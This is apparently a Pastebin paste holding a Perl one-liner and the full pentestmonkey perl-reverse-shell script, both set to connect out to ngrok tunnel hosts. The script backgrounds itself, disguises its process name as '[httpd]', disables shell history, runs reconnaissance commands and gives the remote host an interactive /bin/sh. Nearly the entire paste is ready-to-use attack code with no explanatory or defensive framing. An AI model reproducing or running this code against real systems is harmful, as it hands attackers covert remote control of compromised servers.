Advertisement
Guest User

Untitled

a guest
Dec 8th, 2019
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.02 KB | None | 0 0
  1. #use Socket;$i="http://0.tcp.ngrok.io";$p=17289;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
  2.  
  3.  
  4. #!/usr/bin/perl -w
  5. # perl-reverse-shell - A Reverse Shell implementation in PERL
  6. # Copyright (C) 2006 pentestmonkey@pentestmonkey.net
  7. #
  8. # This tool may be used for legal purposes only. Users take full responsibility
  9. # for any actions performed using this tool. The author accepts no liability
  10. # for damage caused by this tool. If these terms are not acceptable to you, then
  11. # do not use this tool.
  12. #
  13. # In all other respects the GPL version 2 applies:
  14. #
  15. # This program is free software; you can redistribute it and/or modify
  16. # it under the terms of the GNU General Public License version 2 as
  17. # published by the Free Software Foundation.
  18. #
  19. # This program is distributed in the hope that it will be useful,
  20. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  21. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  22. # GNU General Public License for more details.
  23. #
  24. # You should have received a copy of the GNU General Public License along
  25. # with this program; if not, write to the Free Software Foundation, Inc.,
  26. # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  27. #
  28. # This tool may be used for legal purposes only. Users take full responsibility
  29. # for any actions performed using this tool. If these terms are not acceptable to
  30. # you, then do not use this tool.
  31. #
  32. # You are encouraged to send comments, improvements or suggestions to
  33. # me at pentestmonkey@pentestmonkey.net
  34. #
  35. # Description
  36. # -----------
  37. # This script will make an outbound TCP connection to a hardcoded IP and port.
  38. # The recipient will be given a shell running as the current user (apache normally).
  39. #
  40.  
  41. use strict;
  42. use Socket;
  43. use FileHandle;
  44. use POSIX;
  45. my $VERSION = "1.0";
  46.  
  47. # Where to send the reverse shell. Change these.
  48. my $ip = '25109fab.ngrok.io';
  49. my $port = 80;
  50.  
  51. # my $ip = '127.0.0.1';
  52. # my $port = 4444;
  53.  
  54. # Options
  55. my $daemon = 1;
  56. my $auth = 0; # 0 means authentication is disabled and any
  57. # source IP can access the reverse shell
  58. my $authorised_client_pattern = qr(^127\.0\.0\.1$);
  59.  
  60. # Declarations
  61. my $global_page = "";
  62. my $fake_process_name = "/usr/sbin/apache";
  63.  
  64. # Change the process name to be less conspicious
  65. $0 = "[httpd]";
  66.  
  67. # Authenticate based on source IP address if required
  68. if (defined($ENV{'REMOTE_ADDR'})) {
  69. cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
  70.  
  71. if ($auth) {
  72. unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
  73. cgiprint("ERROR: Your client isn't authorised to view this page");
  74. cgiexit();
  75. }
  76. }
  77. } elsif ($auth) {
  78. cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
  79. cgiexit(0);
  80. }
  81.  
  82. # Background and dissociate from parent process if required
  83. if ($daemon) {
  84. my $pid = fork();
  85. if ($pid) {
  86. cgiexit(0); # parent exits
  87. }
  88.  
  89. setsid();
  90. chdir('/');
  91. umask(0);
  92. }
  93.  
  94. # Make TCP connection for reverse shell
  95. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  96. if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
  97. cgiprint("Sent reverse shell to $ip:$port");
  98. cgiprintpage();
  99. } else {
  100. cgiprint("Couldn't open reverse shell to $ip:$port: $!");
  101. cgiexit();
  102. }
  103.  
  104. # Redirect STDIN, STDOUT and STDERR to the TCP connection
  105. open(STDIN, ">&SOCK");
  106. open(STDOUT,">&SOCK");
  107. open(STDERR,">&SOCK");
  108. $ENV{'HISTFILE'} = '/dev/null';
  109. system("w;uname -a;id;pwd");
  110. exec({"/bin/sh"} ($fake_process_name, "-i"));
  111.  
  112. # Wrapper around print
  113. sub cgiprint {
  114. my $line = shift;
  115. $line .= "<p>\n";
  116. $global_page .= $line;
  117. }
  118.  
  119. # Wrapper around exit
  120. sub cgiexit {
  121. cgiprintpage();
  122. exit 0; # 0 to ensure we don't give a 500 response.
  123. }
  124.  
  125. # Form HTTP response using all the messages gathered by cgiprint so far
  126. sub cgiprintpage {
  127. print "Content-Length: " . length($global_page) . "\r
  128. Connection: close\r
  129. Content-Type: text\/html\r\n\r\n" . $global_page;
  130. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement